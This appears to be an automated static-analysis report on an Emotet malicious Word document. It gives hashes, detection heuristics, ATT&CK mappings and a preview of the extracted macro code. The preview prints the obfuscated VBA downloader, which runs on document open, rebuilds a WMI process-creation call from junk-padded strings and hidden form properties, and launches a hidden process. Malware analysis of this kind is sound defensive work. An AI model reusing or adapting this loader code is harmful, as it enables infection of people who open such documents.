Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 c9ffc4e6a4453400…

MALICIOUS

Office (OLE)

170.3 KB Created: 2020-07-29 10:28:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 27f20a9853e27e07ecc3f7c61e9ae3bd SHA-1: 050c75c69f87c5da3695cfc3b79d973d5566a38f SHA-256: c9ffc4e6a44534005e71064c04d4d636d55683b8051469a4e083894c4b26ef7b
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, specifically a Document_Open macro that utilizes a hidden UserForm command stager. This technique, combined with the 'CreateObject' call and obfuscated string manipulation, is characteristic of Emotet's downloader functionality. The ClamAV detection further supports the Emotet family attribution and indicates the file's purpose is to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9393264-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9393264-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5049 bytes
SHA-256: e3af98a05310c1a71cd8c2b4dfcc1288a2609ab5c4f0a6a41918ab8b97b051cc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "IKIUWnlxvfvvd"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
QYCIAonfqhvxhjy.NRNVMuftcmioc
End Sub


Attribute VB_Name = "QYCIAonfqhvxhjy"
Attribute VB_Base = "0{69A02F17-9789-45B5-B9A6-22399CCEE3E5}{6A7C05DD-75BF-4FBC-BE0B-5B47C94574EF}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function NRNVMuftcmioc()
Dim RGEuulBI As String
RGEuulBI = Replace$("UvTejcif1ÅL", "UvTejc", "yBDJZhNWEb")
Dim CSKo As Integer
CSKo = 7
Do While CSKo < 7 + 9
CSKo = CSKo + 1: DoEvents
Loop
Dim Yto7ÇKQRXoy As Integer
Yto7ÇKQRXoy = 3
Do While Yto7ÇKQRXoy < 3 + 6
Yto7ÇKQRXoy = Yto7ÇKQRXoy + 7: DoEvents
Loop
UEJVDzxvddiptufamc = Chr(QYCIAonfqhvxhjy.Zoom + ((40 + 40 + 40) / 8))
Dim awg3ÎQMPteq As Integer
awg3ÎQMPteq = 8
Do While awg3ÎQMPteq < 8 + 3
awg3ÎQMPteq = awg3ÎQMPteq + 9: DoEvents
Loop
RMQJKyclzmwhzzpdvt = "99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bjaw99939nu7*9((()0hsbuguIGv22bjai99939nu7*9((()0hsbuguIGv22bjanm99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bjagm99939nu7*9((()0hsbuguIGv22bjat99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bja" + UEJVDzxvddiptufamc + "99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bja:99939nu7*9((()0hsbuguIGv22bjaw99939nu7*9((()0hsbuguIGv22bjain99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bja399939nu7*9((()0hsbuguIGv22bja299939nu7*9((()0hsbuguIGv22bja_99939nu7*9((()0hsbuguIGv22bja" + QYCIAonfqhvxhjy.OPCRHkcnbzujmfjhgl + "99939nu7*9((()0hsbuguIGv22bjaro99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bjace99939nu7*9((()0hsbuguIGv22bjas99939nu7*9((()0hsbuguIGv22bjas99939nu7*9((()0hsbuguIGv22bja"
wbNZsnpFoA = 8
Do While wbNZsnpFoA < 8 + 2
wbNZsnpFoA = wbNZsnpFoA + 3: DoEvents
Loop
JGGKGmyafmcqsabv = NFSVRbvechtoppuvp(RMQJKyclzmwhzzpdvt)
Dim gcfKyIb4ÜjC As Integer
gcfKyIb4ÜjC = 5
Do While gcfKyIb4ÜjC < 5 + 5
gcfKyIb4ÜjC = gcfKyIb4ÜjC + 7: DoEvents
Loop
Set RJKQSpeqepmo = CreateObject(JGGKGmyafmcqsabv)
Dim lVK As String
lVK = Replace$("O7qGEsVF", "O7qG", "HfNmk2Ïy")
ZDXRHeupdoulnxs = QYCIAonfqhvxhjy.GNCHBqycqsld.ControlTipText
iiv = 7
Do While iiv < 7 + 4
iiv = iiv + 5: DoEvents
Loop
PLZRUpwwxmqcdcg = IJK + (JGGKGmyafmcqsabv + UEJVDzxvddiptufamc + QYCIAonfqhvxhjy.BDCVPpscfnbbhvwaby.ControlTipText) + ZDXRHeupdoulnxs
Dim QH4Ý As String
QH4Ý = Replace$("tBTpXheeAy", "tBTpXhe", "RRWXeuD")
HLFPBjggicpjrrq = PLZRUpwwxmqcdcg + QYCIAonfqhvxhjy.OPCRHkcnbzujmfjhgl
Dim SqQW3Òwd As String
SqQW3Òwd = Replace$("chaNol6ÆmYk1ÓFMeC", "chaNo", "PJy4È")
Set CFZZImuyzzkfvsfwxig = SJSFCyprineucaevkp(HLFPBjggicpjrrq)
Dim hipGOtD As Integer
hipGOtD = 9
Do While hipGOtD < 9 + 7
hipGOtD = hipGOtD + 9: DoEvents
Loop
cde = Array("ewwdas", RJKQSpeqepmo. _
Create(XDRYCbtjwwtoqa, WXPKJdonkhtkzhqslj, CFZZImuyzzkfvsfwxig), "sd")
Dim F3ÊHYfL As String
F3ÊHYfL = Replace$("e8ÝIhfUTun0ËW", "e8ÝIhfUTu", "Ce2ÖRb")
End Function
Function SJSFCyprineucaevkp(CPKICbxlspmqbe)
Set SJSFCyprineucaevkp = CreateObject(CPKICbxlspmqbe)
Dim nqVHT6ÒGOtD As String
nqVHT6ÒGOtD = Replace$("wqd7É7àZD7×wqRgQ5ÕJ", "wqd7É7àZD7×wq", "MZuEIlX")
SJSFCyprineucaevkp.showwindow = (RTQLOckswympkzb + SPHZCeepbhssjb) + (QSHKBglahylsoyrjlx + XDEKJmpbjhjr)
Dim KKQRX7Õ As Integer
KKQRX7Õ = 9
Do While KKQRX7Õ < 9 + 3
KKQRX7Õ = KKQRX7Õ + 6: DoEvents
Loop
End Function
Function NFSVRbvechtoppuvp(FLLKQimozxtjshynk)
KOIJTpdgxygxakek = FLLKQimozxtjshynk
Dim A1ålOTAY1Î As String
A1ålOTAY1Î = Replace$("eFEttRlffLUCaI", "eFEttRlf", "pLU4ÎJBQ")
EHBQEenxcwwcpc = Split _
(KOIJTpdgxygxakek, "99939nu7*9((()0hsbuguIGv22bja")
gDkuq = 4
Do While gDkuq < 4 + 4
gDkuq = gDkuq + 8: DoEvents
Loop
ZVKGUhrkirvctnsohvx = fder + Join(EHBQEenxcwwcpc, bzder)
Dim pCI A
... (truncated)